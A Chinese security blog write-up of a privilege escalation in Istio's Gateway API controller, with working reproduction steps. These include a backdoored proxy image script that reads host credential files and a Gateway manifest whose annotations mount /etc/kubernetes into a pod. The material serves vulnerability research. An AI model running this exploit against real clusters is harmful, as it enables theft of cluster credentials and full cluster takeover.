利用 gateway-api 攻击 kubernetes
2022-3-24 09:59:0 Author: paper.seebug.org(查看原文) 阅读量:47 收藏

作者：lazydog
原文链接：http://noahblog.360.cn/abuse-gateway-api-attack-kubernetes/

前言

前几天注意到了 istio 官方公告，有一个利用 kubernetes gateway api 仅有 CREATE 权限来完成特权提升的漏洞(CVE-2022-21701)，看公告、diff patch 也没看出什么名堂来，跟着自己感觉猜测了一下利用方法，实际跟下来发现涉及到了 sidecar 注入原理及 depolyments 传递注解的特性，个人觉得还是比较有趣的所以记录一下，不过有个插曲，复现后发现这条利用链可以在已经修复的版本上利用，于是和 istio security 团队进行了“友好”的沟通，最终发现小丑竟是我自己，自己yy的利用只是官方文档一笔带过的一个 feature。

所以通篇权当一个 controller 的攻击面，还有一些好玩的特性科普文看好了

istio sidecar injection

istio 可以通过用 namespace 打 label 的方法，自动给对应的 namespace 中运行的 pod 注入 sidecar 容器，而另一种方法则是在 pod 的 annotations 中手动的增加 sidecar.istio.io/inject: "true" 注解，当然还可以借助 istioctl kube-inject 对 yaml 手动进行注入，前两个功能都要归功于 kubernetes 动态准入控制的设计，它允许用户在不同的阶段对提交上来的资源进行修改和审查。

动态准入控制流程:

webhook

istiod 创建了 MutatingWebhook，并且一般对 namespace label 为 istio-injection: enabled 及 sidecar.istio.io/inject != flase 的 pod 资源创建请求做 Mutaing webhook.

apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
  name: istio-sidecar-injector
webhooks:
[...]
  namespaceSelector:
    matchExpressions:
    - key: istio-injection
      operator: In
      values:
      - enabled
  objectSelector:
    matchExpressions:
    - key: sidecar.istio.io/inject
      operator: NotIn
      values:
      - "false"
[...]
  rules:
  - apiGroups:
    - ""
    apiVersions:
    - v1
    operations:
    - CREATE
    resources:
    - pods
    scope: '*'
  sideEffects: None
  timeoutSeconds: 10

当我们提交一个创建符合规定的 pod 资源的操作时，istiod webhook 将会收到来自 k8s 动态准入控制器的请求，请求包含了 AdmissionReview 的资源，istiod 会对其中的 pod 资源的注解进行解析，在注入 sidecar 之前会使用 injectRequired (pkg/kube/inject/inject.go:169)函数对 pod 是否符合非 hostNetwork 、是否在默认忽略的 namespace 列表中还有是否在 annotation/label 中带有 sidecar.istio.io/inject 注解，如果 sidecar.istio.io/inject 为 true 则注入 sidecar，另外一提 namepsace label 也能注入是因为 InjectionPolicy 默认为 Enabled

inject_code

了解完上面的条件后，接着分析注入 sidecar 具体操作的代码，具体实现位于 RunTemplate (pkg/kube/inject/inject.go:283)函数，前面的一些操作是合并 config 、做一些检查确保注解的规范及精简 pod struct，注意力放到位于templatePod 后的代码，利用 selectTemplates 函数提取出需要渲染的 templateNames 再经过 parseTemplate 进行渲染，详细的函数代码请看下方

template_render

获取注解 inject.istio.io/templates 中的值作为 templateName ， params.pod.Annotations 数据类型是 map[string]string ，一般常见值为 sidecar 或者 gateway

func selectTemplates(params InjectionParameters) []string {
    // annotation.InjectTemplates.Name = inject.istio.io/templates
    if a, f := params.pod.Annotations[annotation.InjectTemplates.Name]; f {
        names := []string{}
        for _, tmplName := range strings.Split(a, ",") {
            name := strings.TrimSpace(tmplName)
            names = append(names, name)
        }
        return resolveAliases(params, names)
    }
    return resolveAliases(params, params.defaultTemplate)
}

使用 go template 模块来完成 yaml 文件的渲染

func parseTemplate(tmplStr string, funcMap map[string]interface{}, data SidecarTemplateData) (bytes.Buffer, error) {
    var tmpl bytes.Buffer
    temp := template.New("inject")
    t, err := temp.Funcs(sprig.TxtFuncMap()).Funcs(funcMap).Parse(tmplStr)
    if err != nil {
        log.Infof("Failed to parse template: %v %v\n", err, tmplStr)
        return bytes.Buffer{}, err
    }
    if err := t.Execute(&tmpl, &data); err != nil {
        log.Infof("Invalid template: %v %v\n", err, tmplStr)
        return bytes.Buffer{}, err
    }

    return tmpl, nil
}

那么这个 tmplStr 到底来自何方呢，实际上 istio 在初始化时将其存储在 configmap 中，我们可以通过运行 kubectl describe cm -n istio-system istio-sidecar-injector 来获取模版文件，sidecar 的模版有一些点非常值得注意，很多敏感值都是取自 annotation

template_1

template_2

有经验的研究者看到下面 userVolume 就可以猜到大概通过什么操作来完成攻击了。

sidecar.istio.io/proxyImage
sidecar.istio.io/userVolume
sidecar.istio.io/userVolumeMount

gateway deployment controller 注解传递

分析官方公告里的缓解建议，其中有一条就是将 PILOT_ENABLE_GATEWAY_API_DEPLOYMENT_CONTROLLER 环境变量置为 false ，然后结合另一条建议删除 gateways.gateway.networking.k8s.io 的 crd，所以大概率漏洞和创建 gateways 资源有关，翻了翻官方手册注意到了这句话如下图所示，Gateway 资源的注解将会传递到 Service 及 Deployment 资源上。

istio_docs

有了传递这个细节，我们就能对得上漏洞利用的条件了，需要具备 gateways.gateway.networking.k8s.io 资源的 CREATE 权限，接着我们来分析一下 gateway 是如何传递 annotations 和 labels 的，其实大概也能想到还是利用 go template 对内置的 template 进行渲染，直接分析 configureIstioGateway 函数(pilot/pkg/config/kube/gateway/deploymentcontroller.go) ，其主要功能就是把 gateway 需要创建的 Service 及 Deployment 按照 embed.FS 中的模版进行一个渲染，模版文件可以在(pilot/pkg/config/kube/gateway/templates/deployment.yaml)找到，分析模版文件也可以看到 template 中的 annotations 也是从上层的获取传递过来的注解。toYamlMap 可以将 maps 进行合并，注意观察 (strdict "inject.istio.io/templates" "gateway") 位于 .Annotations 前，所以这个点我们可以通过控制 gateway 的注解来覆盖 templates 值选择渲染的模版。

apiVersion: apps/v1
kind: Deployment
metadata:
  annotations:
    {{ toYamlMap .Annotations | nindent 4 }}
  labels:
    {{ toYamlMap .Labels
      (strdict "gateway.istio.io/managed" "istio.io-gateway-controller")
      | nindent 4}}
  name: {{.Name}}
  namespace: {{.Namespace}}
  ownerReferences:
  - apiVersion: gateway.networking.k8s.io/v1alpha2
    kind: Gateway
    name: {{.Name}}
    uid: {{.UID}}
spec:
  selector:
    matchLabels:
      istio.io/gateway-name: {{.Name}}
  template:
    metadata:
      annotations:
        {{ toYamlMap
          (strdict "inject.istio.io/templates" "gateway")
          .Annotations
          | nindent 8}}
      labels:
        {{ toYamlMap
          (strdict "sidecar.istio.io/inject" "true")
          (strdict "istio.io/gateway-name" .Name)
          .Labels
          | nindent 8}}

漏洞利用

掌握了漏洞利用链路上的细节，我们就可以理出整个思路，创建精心构造过注解的 Gateway 资源及恶意的 proxyv2 镜像，“迷惑”控制器创建非预期的 pod 完成对 Host 主机上的敏感文件进行访问， 如 docker unix socket。

漏洞环境:

istio v1.12.2 kubernetes v1.20.14 kubernetes gateway-api v0.4.0 用下面的命令创建一个 write-only 的 角色，并初始化 istio

curl -L https://istio.io/downloadIstio | ISTIO_VERSION=1.12.2 TARGET_ARCH=x86_64 sh -
istioctl x precheck
istioctl install --set profile=demo -y
kubectl create namespace istio-ingress
kubectl create -f - << EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: gateways-only-create
rules:
- apiGroups: ["gateway.networking.k8s.io"]
  resources: ["gateways"]
  verbs: ["create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-gateways-only-create
subjects:
- kind: User
  name: test
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: gateways-only-create
  apiGroup: rbac.authorization.k8s.io
EOF

在利用漏洞之前，我们需要先制作一个恶意的 docker 镜像，我这里直接选择了 proxyv2 镜像作为目标镜像，替换其中的 /usr/local/bin/pilot-agent 为 bash 脚本，在 tag 一下 push 到本地的 registry 或者 docker.io 都可以。

docker run -it  --entrypoint /bin/sh istio/proxyv2:1.12.1
cp /usr/local/bin/pilot-agent /usr/local/bin/pilot-agent-orig
cat << EOF > /usr/local/bin/pilot-agent
#!/bin/bash

echo $1
if [ $1 != "istio-iptables" ]
then
    touch /tmp/test/pwned
    ls -lha /tmp/test/*
    cat /tmp/test/*
fi

/usr/local/bin/pilot-agent-orig $*
EOF
chmod +x /usr/local/bin/pilot-agent
exit
docker tag 0e87xxxxcc5c xxxx/proxyv2:malicious

commit 之前记得把 image 的 entrypoint 改为 /usr/local/bin/pilot-agent

接着利用下列的命令完成攻击，注意我覆盖了注解中的 inject.istio.io/templates 为 sidecar 使能让 k8s controller 在创建 pod 任务的时候，让其注解中的 inject.istio.io/templates 也为 sidecar，这样 istiod 的 inject webhook 就会按照 sidecar 的模版进行渲染 pod 资源文件， sidecar.istio.io/userVolume 和 sidecar.istio.io/userVolumeMount 我这里挂载了 /etc/kubernetes 目录，为了和上面的恶意镜像相辅相成， POC 的效果就是直接打印出 Host 中 /etc/kubernetes 目录下的凭证及配置文件，利用 kubelet 的凭证或者 admin token 就可以提权完成接管整个集群，当然你也可以挂载 docker.sock 可以做到更完整的利用。

kubectl --as test create -f - << EOF
apiVersion: gateway.networking.k8s.io/v1alpha2
kind: Gateway
metadata:
  name: gateway
  namespace: istio-ingress
  annotations:
    inject.istio.io/templates: sidecar
    sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicious
    sidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]'
    sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]'
spec:
  gatewayClassName: istio
  listeners:
  - name: default
    hostname: "*.example.com"
    port: 80
    protocol: HTTP
    allowedRoutes:
      namespaces:
        from: All
EOF

创建完 Gateway 后 istiod inject webhook 也按照我们的要求创建了 pod

gateway_pod_yaml

docker_image

deployments 最终被渲染如下:

apiVersion: apps/v1
kind: Deployment
metadata:
  annotations:
    deployment.kubernetes.io/revision: "1"
    inject.istio.io/templates: sidecar
    [...]
    sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicious
    sidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]'
    sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]'
  generation: 1
  labels:
    gateway.istio.io/managed: istio.io-gateway-controller
  name: gateway
  namespace: istio-ingress
spec:
  progressDeadlineSeconds: 600
  replicas: 1
  revisionHistoryLimit: 10
  selector:
    matchLabels:
      istio.io/gateway-name: gateway
  strategy:
    rollingUpdate:
      maxSurge: 25%
      maxUnavailable: 25%
    type: RollingUpdate
  template:
    metadata:
      annotations:
        inject.istio.io/templates: sidecar
        [...]
        sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicious
        sidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]'
        sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]'
      creationTimestamp: null
      labels:
        istio.io/gateway-name: gateway
        sidecar.istio.io/inject: "true"
    spec:
      containers:
      - image: auto
        imagePullPolicy: Always
        name: istio-proxy
        ports:
        - containerPort: 15021
          name: status-port
          protocol: TCP
        readinessProbe:
          failureThreshold: 10
          httpGet:
            path: /healthz/ready
            port: 15021
            scheme: HTTP
          periodSeconds: 2
          successThreshold: 1
          timeoutSeconds: 2
        resources: {}
        securityContext:
          allowPrivilegeEscalation: true
          capabilities:
            add:
            - NET_BIND_SERVICE
            drop:
            - ALL
          readOnlyRootFilesystem: true
          runAsGroup: 1337
          runAsNonRoot: false
          runAsUser: 0
        terminationMessagePath: /dev/termination-log
        terminationMessagePolicy: File
      dnsPolicy: ClusterFirst
      restartPolicy: Always
      schedulerName: default-scheduler
      securityContext: {}
      terminationGracePeriodSeconds: 30

攻击效果，成功在 /tmp/test 目录下挂载 kubernetes 目录，可以看到 apiserver 的凭据

pwned

总结

虽然 John Howard 与我友好沟通时，反复询问我这和用户直接创建 pod 有何区别？但我觉得整个利用过程也不失为一种新的特权提升的方法。

随着 kubernetes 各种新的 api 从 SIG 孵化出来以及更多新的云原生组件加入进来，在上下文传递的过程中难免会出现这种曲线救国权限溢出的漏洞，我觉得各种云原生的组件 controller 也可以作为重点的审计对象。

实战这个案例有用吗？要说完全能复现这个漏洞的利用过程我觉得是微乎其微的，除非在 infra 中可能会遇到这种场景，k8s 声明式的 api 配合海量组件 watch 资源的变化引入了无限的可能，或许实战中限定资源的读或者写就可以转化成特权提升漏洞。

参考

  1. https://gateway-api.sigs.k8s.io/
  2. https://istio.io/latest/docs/reference/config/annotations/
  3. https://istio.io/latest/news/security/istio-security-2022-002/
  4. https://istio.io/latest/docs/tasks/traffic-management/ingress/gateway-api/

Paper 本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/1859/


文章来源: https://paper.seebug.org/1859/
如有侵权请联系:admin#unsafe.sh